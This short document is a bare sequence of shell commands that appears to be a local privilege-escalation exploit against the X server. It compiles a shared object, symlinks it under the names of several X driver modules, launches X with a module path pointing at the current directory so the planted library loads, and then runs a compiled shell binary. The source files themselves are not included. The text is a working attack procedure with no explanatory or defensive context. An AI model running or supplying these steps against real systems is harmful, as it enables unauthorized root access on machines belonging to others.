gcc -o shell shell.c gcc -fPIC -c exploit.c gcc -shared -nostdlib exploit.o -o exploit.so ln -sf exploit.so libbitmap.so ln -sf exploit.so bitmap.so ln -sf exploit.so bitmap_drv.so ln -sf exploit.so libpcidata.so ln -sf exploit.so pcidata.so ln -sf exploit.so pcidata_drv.so X :3.0 -modulepath `pwd` -nolisten tcp -x bogus ./shell